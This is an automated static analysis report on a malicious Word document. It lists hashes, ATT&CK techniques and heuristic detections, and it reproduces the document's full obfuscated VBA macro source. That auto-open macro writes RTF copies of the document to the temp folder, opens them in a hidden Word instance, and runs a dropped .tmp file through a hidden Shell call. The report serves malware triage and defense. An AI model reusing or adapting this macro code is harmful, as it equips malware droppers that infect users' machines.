Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 acdbfc17fc2b7fb1…

MALICIOUS

Office (OLE)

144.0 KB Created: 2016-04-21 12:03:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 874184adec6922023bd1ae2b94ae443d SHA-1: d8c9d2313ee9c914e0b560e8610a599e1950c5fd SHA-256: acdbfc17fc2b7fb171bf376dd0bcfad1381e322e22e67e62b53854960eb428f7
454 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing obfuscated VBA macros. The AutoOpen and Workbook_Open macros trigger a function that uses CreateObject to instantiate a Word application and opens a document named 'fhew.rtf' or 'hrbs.rtf' from the temporary directory. This document likely contains or is used to drop an embedded PE executable (embedded_office_0000604c.exe), which is then likely executed. The presence of the embedded PE executable and the macro's behavior strongly indicate a downloader or dropper functionality.

Heuristics 15

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • ClamAV: Doc.Macro.ObfuscatedChr-6203136-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.ObfuscatedChr-6203136-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Dim kre As Variant
kre = Shell(far, 0)
End Function
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    VBHJWD = "vnjkh32j4g32"
Set yEbbdhw = CreateObject("Wor" & "d." & "Applicatio" & BHJASD)
yEbbdhw.Visible = bbgd
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
    FBGHQWD = "hj1bhj234" & "bhj123hj"
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    HgrgBved
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Function
Sub Auto_Open()
    Gogoens
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    TTGDFW = BygeSw(3 + 90 + rtr)
DBDDW = Environ(FFVDG) + TTGDFW
JIEKR = "." & "tmp" & ""
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1967 bytes
SHA-256: 46c89896fdfd63352decdd3e4b94a9797c57492a34df1789c643b2d2c5ebb843
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
    FBGHQWD = "hj1bhj234" & "bhj123hj"
    HgrgBved
End Sub
Sub Workbook_Open()
    HgrgBved
End Sub
Sub HgrgBved()
    Gogoens
End Sub
Sub Gogoens()
Dim bbgd As Boolean, HGYW As String, rtr As Integer
rtr = -35 + 34
FFVDG = "T" & "EM" & ""
FFVDG = FFVDG & "P"
bbgd = False
On Error Resume Next
Dim WOIEW As String
TTGDFW = BygeSw(3 + 90 + rtr)
DBDDW = Environ(FFVDG) + TTGDFW
JIEKR = "." & "tmp" & ""
FFDRRF = "" & ".rtf"
LQWDO = DBDDW

FFFNNNF = LQWDO + "fhew" + FFDRRF
SSHHDD = DBDDW & "hrbs" + FFDRRF
WOIEW = DBDDW & "" & "g3" & JIEKR

FssGeww (FFFNNNF)
FssGeww (SSHHDD)

Module1.Lhgeg (2)
BHJASD = Chr(101 + 9)
VBHJWD = "vnjkh32j4g32"
Set yEbbdhw = CreateObject("Wor" & "d." & "Applicatio" & BHJASD)
yEbbdhw.Visible = bbgd
yEbbdhw.Documents.Open (FFFNNNF)
Module1.Lhgeg (2)
HYUASGD = Module1.Fatar(WOIEW)
Module1.Lhgeg (3)
yEbbdhw.Quit
Set yEbbdhw = Nothing
End Sub
Public Function BygeSw(wbrw As Integer)
    BygeSw = Chr(wbrw)
End Function
Public Function FssGeww(jfhe As String)
    ActiveDocument.SaveAs FileName:=jfhe, FileFormat:=5 + 1
End Function
Public Function Ftwfvs()
    Ftwfvs = "T" & "EM"
End Function
Sub Auto_Open()
    Gogoens
End Sub





Attribute VB_Name = "Module1"
Sub Lhgeg(Kjrh As Long)
hue = 33
Dim Bhrgw As Long, Nbfg As Long
Nbfg = Kjrh + Timer
Bhrgw = Nbfg
BVHASD = "1khjk12h3k21jh3"
FBVHASD = "1khqwjk12h3k21jh3"
BGVHASD = "1kh3jk12h3k21jh3"
hfyew = 75 + 3
Do While Timer < Bhrgw
gdye = 64 * 3 * 4 * 1 * 1 * 3 * 1
Loop
End Sub
Public Function Fatar(far As String)
Dim kre As Variant
kre = Shell(far, 0)
End Function
embedded_office_0000604c.exe embedded-pe Office MZ+PE at offset 0x604C 122804 bytes
SHA-256: 8213a12262295a6856d3d7c4759acdb4ba407a9a2dca4525cd193610727002f4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1522765563/Ole10Native 93894 bytes
SHA-256: 2e28f382f6ffe9984216ee0cd380902e1fe3610e601bc8a5b68480e4a36abb1d

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